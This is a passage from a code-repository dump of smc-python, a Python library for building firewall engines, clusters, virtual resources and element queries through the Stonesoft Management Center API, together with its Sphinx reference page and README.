firewall will use the same virtual resource that \n should be pre-created.\n \n To instantiate and create, call 'create' as follows::\n \n engine = Layer3VirtualEngine.create(\n 'myips', \n 'mymaster_engine, \n virtual_engine='ve-3',\n interfaces=[{'address': '5.5.5.5', \n 'network_value': '5.5.5.5/30', \n 'interface_id': 0, \n 'zone_ref': ''}]\n \"\"\"\n node_type = 'virtual_fw_node'\n def __init__(self, name):\n Node.__init__(self, name)\n pass\n\n @classmethod\n def create(cls, name, master_engine, virtual_resource, \n interfaces, default_nat=False, outgoing_intf=0,\n domain_server_address=None, **kwargs):\n \"\"\"\n :param str name: Name of this layer 3 virtual engine\n :param str master_engine: Name of existing master engine\n :param str virtual_resource: name of pre-created virtual resource\n :param list interfaces: dict of interface details\n :param boolean default_nat: Whether to enable default NAT for outbound\n :param int outgoing_intf: outgoing interface for VE. Specifies interface number\n :param list interfaces: interfaces mappings passed in \n :return: Engine\n :raises: :py:class:`smc.api.web.CreateEngineFailed`: Failure to create with reason\n \"\"\"\n virt_resource_href = None #need virtual resource reference\n master_engine = Engine(master_engine).load()\n for virt_resource in master_engine.virtual_resource.all():\n if virt_resource.name == virtual_resource:\n virt_resource_href = virt_resource.href\n break\n if not virt_resource_href:\n raise CreateEngineFailed('Cannot find associated virtual resource for '\n 'VE named: {}. You must first create a virtual '\n 'resource for the master engine before you can associate '\n 'a virtual engine. Cannot add VE'.format(name))\n new_interfaces=[] \n for interface in interfaces: \n physical = VirtualPhysicalInterface()\n physical.add_single_node_interface(interface.get('interface_id'),\n interface.get('address'),\n interface.get('network_value'),\n zone_ref=interface.get('zone_ref'))\n\n #set auth request and outgoing on one of the interfaces\n if interface.get('interface_id') == outgoing_intf:\n physical.modify_interface('single_node_interface', \n outgoing=True,\n auth_request=True)\n new_interfaces.append({VirtualPhysicalInterface.name: physical.data})\n \n engine = Engine.create(name=name,\n node_type=cls.node_type,\n physical_interfaces=new_interfaces, \n domain_server_address=domain_server_address,\n log_server_ref=None, #Isn't used in VE\n nodes=1)\n if default_nat:\n engine.update(default_nat=True)\n engine.update(virtual_resource=virt_resource_href)\n engine.pop('log_server_ref', None) #Master Engine provides this service\n \n \n href = search.element_entry_point('virtual_fw')\n result = SMCElement(href=href, json=engine).create()\n if result.href:\n return Engine(name).load()\n else:\n raise CreateEngineFailed('Could not create the virtual engine, '\n 'reason: {}'.format(result.msg))\n \nclass FirewallCluster(object):\n \"\"\" \n Firewall Cluster\n Creates a layer 3 firewall cluster engine with CVI and NDI's. Once engine is \n created, and in context, add additional interfaces using engine.physical_interface \n :py:class:PhysicalInterface.add_cluster_virtual_interface`\n \"\"\"\n node_type = 'firewall_node' \n def __init__(self, name):\n pass\n \n @classmethod\n def create(cls, name, cluster_virtual, cluster_mask, \n macaddress, cluster_nic, nodes, \n log_server_ref=None, \n domain_server_address=None, \n zone_ref=None):\n \"\"\"\n Create a layer 3 firewall cluster with management interface and any number\n of nodes\n \n :param str name: name of firewall engine\n :param cluster_virtual: ip of cluster CVI\n :param cluster_mask: ip netmask of cluster CVI\n :param macaddress: macaddress for packet dispatch clustering\n :param cluster_nic: nic id to use for primary interface\n :param nodes: address/network_value/nodeid combination for cluster nodes \n :param str log_server_ref: (optional) href to log_server instance \n :param list domain_server_address: (optional) DNS server addresses\n :param str zone_ref: (optional) zone name for management interface (created if not found)\n :return: Engine\n :raises: :py:class:`smc.api.web.CreateEngineFailed`: Failure to create with reason\n \n Example nodes parameter input::\n \n [{'address':'5.5.5.2', \n 'network_value':'5.5.5.0/24', \n 'nodeid':1},\n {'address':'5.5.5.3', \n 'network_value':'5.5.5.0/24', \n 'nodeid':2},\n {'address':'5.5.5.4', \n 'network_value':'5.5.5.0/24', \n 'nodeid':3}]\n \n \"\"\"\n physical = PhysicalInterface()\n physical.add_cluster_virtual_interface(cluster_nic,\n cluster_virtual, \n cluster_mask,\n macaddress, \n nodes, \n is_mgmt=True,\n zone_ref=zone_ref)\n \n engine = Engine.create(name=name,\n node_type=cls.node_type,\n physical_interfaces=[\n {PhysicalInterface.name: physical.data}], \n domain_server_address=domain_server_address,\n log_server_ref=log_server_ref,\n nodes=len(nodes))\n\n href = search.element_entry_point('fw_cluster')\n result = SMCElement(href=href,\n json=engine).create()\n if result.href:\n return Engine(name).load()\n else:\n raise CreateEngineFailed('Could not create the firewall, '\n 'reason: {}'.format(result.msg))\n \nclass MasterEngine(object):\n \"\"\"\n Creates a master engine in a firewall role. Layer3VirtualEngine should be used\n to add each individual instance to the Master Engine.\n \"\"\"\n node_type = 'master_node'\n def __init__(self, name):\n pass\n \n @classmethod\n def create(cls, name, master_type,\n mgmt_interface=0, \n log_server_ref=None, \n domain_server_address=None):\n \"\"\"\n Create a Master Engine with management interface\n \n :param str name: name of master engine engine\n :param str master_type: firewall|\n :param str log_server_ref: (optional) href to log_server instance \n :param list domain_server_address: (optional) DNS server addresses\n :return: Engine\n :raises: :py:class:`smc.api.web.CreateEngineFailed`: Failure to create with reason\n \"\"\" \n physical = PhysicalInterface()\n physical.add_node_interface(mgmt_interface, \n '2.2.2.2', '2.2.2.0/24')\n physical.modify_interface('node_interface',\n primary_mgt=True,\n primary_heartbeat=True,\n outgoing=True)\n \n engine = Engine.create(name=name,\n node_type=cls.node_type,\n physical_interfaces=[\n {PhysicalInterface.name: physical.data}], \n domain_server_address=domain_server_address,\n log_server_ref=log_server_ref,\n nodes=1) \n engine.setdefault('master_type', master_type)\n engine.setdefault('cluster_mode', 'balancing')\n\n href = search.element_entry_point('master_engine')\n result = SMCElement(href=href, \n json=engine).create()\n if result.href:\n return Engine(name).load()\n else:\n raise CreateEngineFailed('Could not create the engine, '\n 'reason: {}'.format(result.msg))\n\nclass AWSLayer3Firewall(object):\n \"\"\"\n Create AWSLayer3Firewall in SMC. This is a Layer3Firewall instance that uses\n a DHCP address for the management interface. Management is expected to be\n on interface 0 and interface eth0 on the AWS AMI. \n When a Layer3Firewall uses a DHCP interface for management, a second interface\n is required to be the interface for Auth Requests. This second interface information\n is obtained by creating the network interface through the AWS SDK, and feeding that\n to the constructor. This can be statically assigned as well.\n \"\"\"\n node_type = 'firewall_node'\n def __init__(self, name):\n pass\n \n @classmethod\n def create(cls, name, interfaces,\n dynamic_interface=0,\n dynamic_index=1, \n log_server_ref=None, \n domain_server_address=None,\n default_nat = True, \n zone_ref=None,\n is_mgmt=False):\n \"\"\" \n Create AWS Layer 3 Firewall. This will implement a DHCP\n interface for dynamic connection back to SMC. The initial_contact\n information will be used as user-data to initialize the EC2 instance. \n \n :param str name: name of fw in SMC\n :param list interfaces: dict items specifying interfaces to create\n :param int dynamic_index: dhcp interface index (First DHCP Interface, etc)\n :param int dynamic_interface: interface ID to use for dhcp\n :return Engine\n :raises: :py:class:`smc.api.web.CreateEngineFailed`: Failure to create with reason\n Example interfaces::\n \n [{ 'address': '1.1.1.1', \n 'network_value': '1.1.1.0/24', \n 'interface_id': 1\n },\n { 'address': '2.2.2.2',\n 'network_value': '2.2.2.0/24',\n 'interface_id': 2\n }] \n \"\"\"\n new_interfaces = []\n '''\n for interface in interfaces:\n if interface.get('interface_id') == 0:\n print \"ip: {}, netmask: {}, id: {}\".format(interface.get('address'),\n interface.get('network_value'),\n interface.get('interface_id'))\n route = ipaddress.ip_network(u'{}'.format(interface.get('network_value')))\n print \"Create default route: %s\" % str(list(route)[1])\n else:\n print \"ip: {}, netmask: {}, id: {}\".format(interface.get('address'),\n interface.get('network_value'),\n interface.get('interface_id'))\n '''\n dhcp_physical = PhysicalInterface()\n dhcp_physical.add_dhcp_interface(dynamic_interface,\n dynamic_index, primary_mgt=True)\n new_interfaces.append({PhysicalInterface.name: dhcp_physical.data})\n \n auth_request = 0\n for interface in interfaces:\n if interface.get('interface_id') == dynamic_interface:\n continue #In case this is defined, skip dhcp_interface id\n physical = PhysicalInterface()\n physical.add_single_node_interface(interface.get('interface_id'),\n interface.get('address'), \n interface.get('network_value'))\n if not auth_request: #set this on first interface that is not the dhcp_interface\n physical.modify_interface('single_node_interface', auth_request=True)\n auth_request = 1\n new_interfaces.append({PhysicalInterface.name: physical.data})\n \n engine = Engine.create(name=name,\n node_type=cls.node_type,\n physical_interfaces=new_interfaces, \n domain_server_address=domain_server_address,\n log_server_ref=log_server_ref,\n nodes=1) \n if default_nat:\n engine.setdefault('default_nat', True)\n \n href = search.element_entry_point('single_fw')\n result = SMCElement(href=href, \n json=engine).create()\n if result.href:\n return Engine(name).load()\n else:\n raise CreateEngineFailed('Could not create the engine, '\n 'reason: {}'.format(result.msg))\n\nclass VirtualResource(object):\n \"\"\"\n A Virtual Resource is a container placeholder for a virtual engine\n within a Master Engine. When creating a virtual engine, each virtual\n engine must have a unique virtual resource for mapping. The virtual \n resource has an identifier (vfw_id) that specifies the engine ID for \n that instance. There is currently no modify_attribute method available\n for this resource.\n \n This is called as a resource of an engine. To view all virtual\n resources::\n \n for resource in engine.virtual_resource.all():\n print resource\n \n To create a new virtual resource::\n \n engine.virtual_resource.create(......)\n \n When class is initialized, href should be passed in. This is used to populate\n the SMCElement if create is requested, or may be populated for each resource after\n calling all().\n \n :param href: href should be provided to init to identify base location for virtual\n resources\n \"\"\"\n def __init__(self, name=None, **kwargs):\n self.name = name \n for k, v, in kwargs.iteritems():\n setattr(self, k, v)\n \n def create(self, name, vfw_id, domain='Shared Domain',\n show_master_nic=False, connection_limit=0):\n \"\"\"\n Create a new virtual resource\n \n :param str name: name of virtual resource\n :param int vfw_id: virtual fw identifier\n :param str domain: name of domain to install, (default Shared)\n :param boolean show_master_nic: whether to show the master engine NIC ID's\n in the virtual instance\n :param int connection_limit: whether to limit number of connections for this \n instance\n :return: SMCResult\n \"\"\"\n self.element = SMCElement(href=self.href, json={}) \n self.element.json.update(name=name,\n vfw_id=vfw_id,\n show_master_nic=show_master_nic,\n connection_limit=connection_limit,\n allocated_domain_ref=domain)\n self.resolve_domain()\n return self.element.create()\n \n def resolve_domain(self):\n self.element.json.update(allocated_domain_ref=\n search.element_href_use_filter(\n self.element.json.get('allocated_domain_ref'), 'admin_domain'))\n\n def describe(self):\n \"\"\"\n Retrieve full json for this virtual resource and return pretty printed\n \n :return: json text\n \"\"\"\n return pformat(search.element_by_href_as_json(self.href))\n \n def all(self):\n \"\"\"\n Return metadata for all virtual resources\n \n for resource in engine.virtual_resource.all():\n if resource.name == 've-6':\n print resource.describe()\n \n :return: list VirtualResource\n \"\"\"\n resources=[]\n for resource in search.element_by_href_as_json(self.href):\n resources.append(VirtualResource(**resource))\n return resources\n\n def __repr__(self):\n return \"%s(%r)\" % (self.__class__, 'name={}'.format(self.name))\n " }, { "alpha_fraction": 0.6001968383789062, "alphanum_fraction": 0.6025590300559998, "avg_line_length": 12.295811653137207, "blob_id": "1a28e14beb3de1e2a99bb505c5dfe84c880ce0e8", "content_id": "e10ca822ac15ff8f046f6c9912cfef1080a8a564", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 5080, "license_type": "no_license", "max_line_length": 57, "num_lines": 382, "path": "/smc/docs/pages/reference.rst", "repo_name": "artlog/smc-python", "src_encoding": "UTF-8", "text": "Reference\n=========\n\nElement\n-------\n\n.. automodule:: smc.elements.element\n :undoc-members:\n :show-inheritance:\n\nHost\n++++\n\n.. autoclass:: Host\n :members:\n :show-inheritance:\n\nNetwork\n+++++++\n\n.. autoclass:: Network\n :members:\n :show-inheritance:\n\nAddressRange\n++++++++++++\n\n.. autoclass:: AddressRange\n :members:\n :show-inheritance:\n\nRouter\n++++++\n\n.. autoclass:: Router\n :members:\n :show-inheritance:\n\nGroup\n+++++\n\n.. autoclass:: Group\n :members:\n :show-inheritance:\n\nDomainName\n++++++++++\n\n.. autoclass:: DomainName \n :members:\n :show-inheritance:\n\nTCPService\n++++++++++\n\n.. autoclass:: TCPService \n :members:\n :show-inheritance:\n\nUDPService\n++++++++++\n\n.. autoclass:: UDPService \n :members:\n :show-inheritance:\n \nIPService\n+++++++++\n\n.. autoclass:: IPService \n :members:\n :show-inheritance:\n \nEthernetService\n+++++++++++++++\n\n.. autoclass:: EthernetService \n :members:\n :show-inheritance:\n \nProtocol\n++++++++\n\n.. autoclass:: Protocol \n :members:\n :show-inheritance:\n \nICMPService\n+++++++++++\n\n.. autoclass:: ICMPService \n :members:\n :show-inheritance:\n \nICMPIPv6Service\n+++++++++++++++\n\n.. autoclass:: ICMPIPv6Service \n :members:\n :show-inheritance:\n \nServiceGroup\n++++++++++++\n\n.. autoclass:: ServiceGroup \n :members:\n :show-inheritance:\n \nTCPServiceGroup\n+++++++++++++++\n\n.. autoclass:: TCPServiceGroup \n :members:\n :show-inheritance:\n\nUDPServiceGroup\n+++++++++++++++\n\n.. autoclass:: UDPServiceGroup \n :members:\n :show-inheritance:\n\nIPServiceGroup\n++++++++++++++\n\n.. autoclass:: IPServiceGroup \n :members:\n :show-inheritance:\n\nZone\n++++\n\n.. autoclass:: Zone \n :members:\n :show-inheritance:\n\nLogicalInterface\n++++++++++++++++\n\n.. autoclass:: LogicalInterface \n :members:\n :show-inheritance:\n\nAdminUser\n+++++++++\n\n.. autoclass:: AdminUser\n :members:\n\nEngines\n-------\n\n.. automodule:: smc.elements.engines\n :undoc-members:\n :show-inheritance:\n\nEngine\n++++++\n\n.. autoclass:: Engine\n :members:\n :show-inheritance:\n \nNode\n++++\n\n.. autoclass:: Node\n :members: \n :show-inheritance:\n\nLayer3Firewall\n++++++++++++++\n\n.. autoclass:: Layer3Firewall\n :members:\n :show-inheritance:\n\nLayer2Firewall\n++++++++++++++\n\n.. autoclass:: Layer2Firewall\n :members:\n :show-inheritance:\n\nLayer3VirtualEngine\n+++++++++++++++++++\n\n.. autoclass:: Layer3VirtualEngine\n :members:\n :show-inheritance:\n\nFirewallCluster\n+++++++++++++++\n\n.. autoclass:: FirewallCluster\n :members:\n :show-inheritance:\n\nIPS\n+++\n\n.. autoclass:: IPS\n :members:\n :show-inheritance:\n\nInterfaces\n----------\n\n.. automodule:: smc.elements.interfaces\n :members:\n :undoc-members:\n :show-inheritance:\n\nPhysical Interface\n++++++++++++++++++\n\n.. autoclass:: PhysicalInterface\n :members:\n :show-inheritance:\n\nSingleNodeInterface\n+++++++++++++++++++\n\n.. autoclass:: SingleNodeInterface\n :members:\n :show-inheritance:\n\nNodeInterface\n+++++++++++++\n\n.. autoclass:: NodeInterface\n :members:\n :show-inheritance:\n\nInlineInterface\n+++++++++++++++\n\n.. autoclass:: InlineInterface\n :members:\n :show-inheritance:\n\nCaptureInterface\n++++++++++++++++\n\n.. autoclass:: CaptureInterface\n :members:\n :show-inheritance:\n\nVlanInterface\n+++++++++++++\n\n.. autoclass:: VlanInterface\n :members:\n\nClusterVirtualInterface\n+++++++++++++++++++++++\n\n.. autoclass:: ClusterVirtualInterface\n :members:\n\nVirtualPhysicalInterface\n++++++++++++++++++++++++\n\n.. autoclass:: VirtualPhysicalInterface\n :members:\n\nPolicy\n------\n\n.. automodule:: smc.elements.policy\n :members: Policy\n :undoc-members:\n :show-inheritance:\n\nFirewallPolicy\n++++++++++++++\n\n.. autoclass:: FirewallPolicy\n :members:\n :show-inheritance:\n\nInspectionPolicy\n++++++++++++++++\n\n.. autoclass:: InspectionPolicy\n :members:\n :show-inheritance:\n\nFileFilteringPolicy\n+++++++++++++++++++\n\n.. autoclass:: FileFilteringPolicy\n :members:\n :show-inheritance:\n\nRule\n----\n\n.. automodule:: smc.elements.rule\n :members: Rule\n :show-inheritance:\n\nIPv4Rule\n++++++++\n\n.. autoclass:: IPv4Rule\n :members:\n :show-inheritance:\n\nIPv4NATRule\n+++++++++++\n\n.. autoclass:: IPv4NATRule\n :members:\n :show-inheritance:\n\nVPNPolicy\n---------\n\n.. automodule:: smc.elements.vpn\n :members: VPNPolicy\n\nInternalGateway\n+++++++++++++++\n\n.. autoclass:: InternalGateway\n :members:\n\nInternalEndpoint\n++++++++++++++++\n\n.. autoclass:: InternalEndpoint\n :members:\n \nExternalGateway\n+++++++++++++++\n\n.. autoclass:: ExternalGateway\n :members:\n \nExternalEndpoint\n++++++++++++++++\n\n.. autoclass:: ExternalEndpoint\n :members:\n \nVPNSite\n+++++++\n\n.. autoclass:: VPNSite\n :members:\n\nCollections\n-----------\n\n.. automodule:: smc.elements.collections\n :members:\n \nSearch\n------\n\n.. automodule:: smc.actions.search\n :members:\n\nSession\n-------\n\n.. automodule:: smc.api.web\n :members: SMCConnectionError, SMCException, SMCResult\n :undoc-members:\n :show-inheritance:\n\n.. autoclass:: SMCAPIConnection\n :members: login, logout\n\nSystem\n------\n\n.. automodule:: smc.elements.system\n :members:\n :undoc-members:\n :show-inheritance:\n\n" }, { "alpha_fraction": 0.7598908543586731, "alphanum_fraction": 0.7708048820495605, "avg_line_length": 34.780487060546875, "blob_id": "f1e978e6423a8a9e3fd6eaf36cdef52586ce2e7b", "content_id": "4e65990124e7fa4fb832389abbd366b001248c0a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1466, "license_type": "no_license", "max_line_length": 150, "num_lines": 41, "path": "/README.md", "repo_name": "artlog/smc-python", "src_encoding": "UTF-8", "text": "[![Documentation Status](https://readthedocs.org/projects/smc-python/badge/?version=latest)](http://smc-python.readthedocs.io/en/latest/?badge=latest)\n#### smc-python\n\nPython based library to provide basic functions to interact with the Stonesoft Management Center API.\n\nCurrently it provides functionality to fully create engine instances, elements, blacklists, etc. \nThere is also a CLI based front-end with command completion for performing operations remotely (brokered by the SMC).\n\n##### Getting Started\n\nInstalling package\n\nuse pip\n\n`pip install git+https://github.com/gabstopper/smc-python.git`\n\ndownload the latest tarball: [smc-python](https://github.com/gabstopper/smc-python/archive/master.zip), unzip and run\n\n`python setup.py install`\n\n##### Testing\n\nIncluded are a variety of test example scripts that leverage the API to do various tasks in /examples\n\n##### Basics\n\nBefore any commands are run, you must obtain a login session. Once commands are complete, call smc.logout() to remove the active session.\n\n```python\nimport smc.api.web\n\nsmc.api.web.login('http://1.1.1.1:8082', 'EiGpKD4QxlLJ25dbBEp20001')\n....do stuff....\nsmc.api.web.logout()\n```\n\nOnce a valid session is obtained, it will be re-used for each operation performed. \n\nPlease see the read-the-docs documentation above for a full explanation and technical reference on available API classes.\n\n[View Documentation on Read The Docs](http://smc-python.readthedocs.io/en/latest/?badge=latest)" }, { "alpha_fraction": 0.685172975063324, "alphanum_fraction": 0.6872938275337219, "avg_line_length": 33.8996696472168, "blob_id": "1567cc7253ee6e9f7c117dde6f4ec5ef42e5467d", "content_id": "a54bbca7fbb9193898e30ab342d3cf51c084601f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 21218, "license_type": "no_license", "max_line_length": 89, "num_lines": 608, "path": "/smc/elements/collections.py", "repo_name": "artlog/smc-python", "src_encoding": "UTF-8", "text": "\"\"\"\nCollections module allows for search queries against the SMC API to retrieve\nelement data.\n\nEach describe function allows two possible (optional) parameters:\n\n* name: search parameter (can be any value)\n* exact_match: True|False, whether to match exactly on name field\n\nEach function returns a list of objects based on the specified element type. Most\nelements will return a list of SMCElements. This will be the case for container classes\nthat do not have class level methods. These elements do not require 'load' be called\nbefore fully initializing the configuration.\n\nAll return element types (regardless of type) will have the following attributes as\nmetadata::\n\n href: href location of the element in SMC\n type: type of element\n name: name of element\n\nDescribe functions that return specific element types, such as Engine, require that\nthe load() method be called in order to initialize the data set and available methods for\nthat class. \n\nFor example, find a specific engine by type, load and run a node level command::\n\n for fw in describe_single_fws(): #returns type Engine\n if fw.name == 'myfw':\n engine = fw.load()\n for node in engine.nodes:\n node.appliance_status()\n node.reboot()\n\nElements that return type SMCElement have methods available to SMCElement class\n\n.. seealso:: :py:class:`smc.elements.element.SMCElement`\n\nSome additional generic search examples follow...\n\nTo search for all host objects::\n\n for host in collections.describe_hosts():\n print host\n \nTo search only for a host name 'test'::\n\n for host in collections.describe_hosts(name=['test']):\n print host\n\nTo search for all hosts with 'test' in the name::\n\n for host in collections.describe_hosts(name=['test'], exact_match=False):\n print host\n \nIt may be useful to do a wildcard search for an element type and view the entire\nobject info::\n\n for host in describe_networks(name=['1.1.1.0'], exact_match=False):\n print host.name, host.describe()\n\nModify a specific SMCElement type by changing the name::\n\n for host in describe_hosts(name=['myhost']):\n if host:\n host.modify_attribute(name='mynewname')\n \n\"\"\"\nfrom smc.api.session import session\nfrom smc.api.common import fetch_href_by_name, fetch_json_by_href\nfrom smc.elements.element import SMCElement\nfrom smc.elements.engines import Engine\nfrom smc.elements.vpn import ExternalGateway, VPNPolicy\n\n\"\"\" \nPolicy Elements\n\nPolicy elements describe pre-configured Firewall, IPS or Layer 2 Policies, \nalong with templates. Each policy type is based on a best practice template.\nWhen creating a policy, a policy template is required as well\n\"\"\"\ndef describe_fw_policies(name=None, exact_match=True):\n \"\"\"\n Describe all layer 3 firewall policies\n \n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('fw_policy', name, exact_match)\n\ndef describe_fw_template_policies(name=None, exact_match=True):\n \"\"\"\n Describe all layer 3 firewall policy templates\n \n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('fw_template_policy', name, exact_match)\n\ndef describe_ips_policies(name=None, exact_match=True):\n \"\"\"\n Describe all IPS policies\n \n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('ips_policy', name, exact_match)\n\ndef describe_ips_template_policies(name=None, exact_match=True):\n \"\"\"\n Describe all IPS policy templates\n \n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('ips_template_policy', name, exact_match)\n\ndef describe_layer2_policies(name=None, exact_match=True):\n \"\"\"\n Describe Layer 2 Firewall policies\n \n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('layer2_policy', name, exact_match)\n\ndef describe_layer2_template_policies(name=None, exact_match=True):\n \"\"\"\n Describe Layer 2 Firewall policy templates\n \n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('layer2_template_policy', name, exact_match)\n\ndef describe_inspection_policies(name=None, exact_match=True):\n \"\"\"\n Describe Inspection policies\n \n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('inspection_template_policy', name, exact_match)\n\ndef describe_sub_ipv6_fw_policies(name=None, exact_match=True):\n \"\"\"\n Describe IPv6 Layer 3 Firewall sub policies\n \n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('sub_ipv6_fw_policy', name, exact_match)\n\ndef describe_sub_ipv4_fw_policies(name=None, exact_match=True):\n \"\"\"\n Describe IPv4 Layer 3 Firewall sub policies\n \n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('sub_ipv4_fw_policy', name, exact_match)\n\ndef describe_sub_ipv4_layer2_policies(name=None, exact_match=True):\n \"\"\"\n Describe Layer 2 IPv4 Firewall sub policies\n \n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('sub_ipv4_layer2_policy', name, exact_match)\n\n#\ndef describe_sub_ipv4_ips_policies(name=None, exact_match=True):\n \"\"\"\n Describe IPS IPv4 sub policies\n \n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('sub_ipv4_ips_policy', name, exact_match)\n\ndef describe_file_filtering_policies(name=None, exact_match=True):\n \"\"\"\n Describe File Filtering policies\n \n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('file_filtering_policy', name, exact_match)\n\n\"\"\" \nEngine Elements\n\"\"\"\ndef describe_single_fws(name=None, exact_match=True):\n \"\"\"\n Describe Single Layer 3 Firewalls\n \n :return: list :py:class:`smc.elements.engines.Engine`\n \"\"\"\n return generic_list_builder('single_fw', name, exact_match, klazz=Engine)\n \ndef describe_fw_clusters(name=None, exact_match=True):\n \"\"\"\n Describe Layer 3 FW Clusters\n \n :return: list :py:class:`smc.elements.engines.Engine`\n \"\"\"\n return generic_list_builder('fw_cluster', name, exact_match, klazz=Engine)\n \ndef describe_single_layer2_fws(name=None, exact_match=True):\n \"\"\"\n Describe Single Layer 2 Firewalls\n \n :return: list :py:class:`smc.elements.engines.Engine`\n \"\"\"\n return generic_list_builder('single_layer2', name, exact_match, klazz=Engine)\n \ndef describe_layer2_clusters(name=None, exact_match=True):\n \"\"\"\n Describe Layer 2 Firewall Clusters\n \n :return: list :py:class:`smc.elements.engines.Engine`\n \"\"\"\n return generic_list_builder('layer2_cluster', name, exact_match, klazz=Engine)\n \ndef describe_single_ips(name=None, exact_match=True):\n \"\"\"\n Describe Single IPS engines\n \n :return: list :py:class:`smc.elements.engines.Engine`\n \"\"\"\n return generic_list_builder('single_ips', name, exact_match, klazz=Engine)\n \ndef describe_ips_clusters(name=None, exact_match=True):\n \"\"\"\n Describe IPS engine clusters\n \n :return: list :py:class:`smc.elements.engines.Engine`\n \"\"\"\n return generic_list_builder('ips_cluster', name, exact_match, klazz=Engine)\n \ndef describe_master_engines(name=None, exact_match=True):\n \"\"\"\n Describe Master Engines\n \n :return: list :py:class:`smc.elements.engines.Engine`\n \"\"\"\n return generic_list_builder('master_engine', name, exact_match, klazz=Engine)\n \ndef describe_virtual_fws(name=None, exact_match=True):\n \"\"\"\n Describe Virtual FW engines\n \n Example of retrieving all registered virtual fw's, looking for a\n specific engine, then checking the status of the node::\n \n for fw in describe_virtual_fws():\n print fw\n if fw.name == 've-7':\n engine = fw.load()\n for node in engine.nodes:\n node.appliance_status()\n \n :return: list :py:class:`smc.elements.engines.Engine`\n \"\"\"\n return generic_list_builder('virtual_fw', name, exact_match, klazz=Engine)\n \ndef describe_virtual_ips(name=None, exact_match=True):\n \"\"\"\n Describe Virtual IPS engines\n \n :return: list :py:class:`smc.elements.engines.Engine`\n \"\"\"\n return generic_list_builder('virtual_ips', name, exact_match, klazz=Engine)\n\n\"\"\" \nLog Server Elements\n\"\"\"\n\ndef describe_log_servers(name=None, exact_match=True):\n \"\"\"\n Describe available Log Servers\n \n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('log_server', name, exact_match)\n\n\"\"\"\nDomains\n\"\"\"\ndef describe_admin_domains(name=None, exact_match=True):\n return generic_list_builder('admin_domain', name, exact_match)\n\n\"\"\"\nInterface Elements\n\"\"\"\n#\ndef describe_interface_zones(name=None, exact_match=True):\n \"\"\"\n Describe available interface zones\n See :py:class:`smc.elements.element.Zone` for more info\n \n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('interface_zone', name, exact_match)\n\ndef describe_logical_interfaces(name=None, exact_match=True):\n \"\"\"\n Describe available logical interfaces (used for Capture / Inline interfaces)\n See :py:class:`smc.elements.element.LogicalInterface` for more info\n \n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('logical_interface', name, exact_match)\n\n\"\"\"\nNetwork Elements\n\"\"\" \ndef describe_hosts(name=None, exact_match=True):\n \"\"\"\n Describe host objects\n See :py:class:`smc.elements.element.Host` for more info\n \n :param list name: Name of host object (optional)\n :param exact_match: Do exact match against name field (default True)\n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('host', name, exact_match)\n\ndef describe_tcp_services(name=None, exact_match=True):\n \"\"\"\n Describe available TCP Services\n See :py:class:`smc.elements.element.TCPService` for more info\n \n :param list name: Name of host object (optional)\n :param exact_match: Do exact match against name field (default True)\n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('tcp_service', name, exact_match)\n\ndef describe_tcp_service_groups(name=None, exact_match=True):\n \"\"\"\n Describe TCP Service Groups\n See :py:class:`smc.elements.element.TCPServiceGroup` for more info\n \n :param list name: Name of host object (optional)\n :param exact_match: Do exact match against name field (default True)\n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('tcp_service_group', name, exact_match)\n\ndef describe_icmp_services(name=None, exact_match=True):\n \"\"\"\n Describe ICMP Services\n See :py:class:`smc.elements.element.ICMPService` for more info\n \n :param list name: Name of host object (optional)\n :param exact_match: Do exact match against name field (default True)\n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('icmp_service', name, exact_match)\n\ndef describe_service_groups(name=None, exact_match=True):\n \"\"\"\n Describe Service Groups\n See :py:class:`smc.elements.element.ServiceGroup` for more info\n \n :param list name: Name of host object (optional)\n :param exact_match: Do exact match against name field (default True)\n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('service_group', name, exact_match)\n\ndef describe_udp_service_groups(name=None, exact_match=True):\n \"\"\"\n Describe UDP Service Groups\n See :py:class:`smc.elements.element.UDPServiceGroup` for more info\n \n :param list name: Name of host object (optional)\n :param exact_match: Do exact match against name field (default True)\n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('udp_service_group', name, exact_match)\n\ndef describe_address_ranges(name=None, exact_match=True):\n \"\"\"\n Describe Address Range network elements\n See :py:class:`smc.elements.element.AddressRange` for more info\n \n :param list name: Name of host object (optional)\n :param exact_match: Do exact match against name field (default True)\n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('address_range', name, exact_match)\n\ndef describe_domain_names(name=None, exact_match=True):\n \"\"\"\n Describe Domain Name network elements\n See :py:class:`smc.elements.element.DomainName` for more info\n \n :param list name: Name of host object (optional)\n :param exact_match: Do exact match against name field (default True)\n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('domain_name', name, exact_match)\n\ndef describe_rpc_services(name=None, exact_match=True):\n \"\"\"\n Describe RPC Service network elements\n \n :param list name: Name of host object (optional)\n :param exact_match: Do exact match against name field (default True)\n :return: list 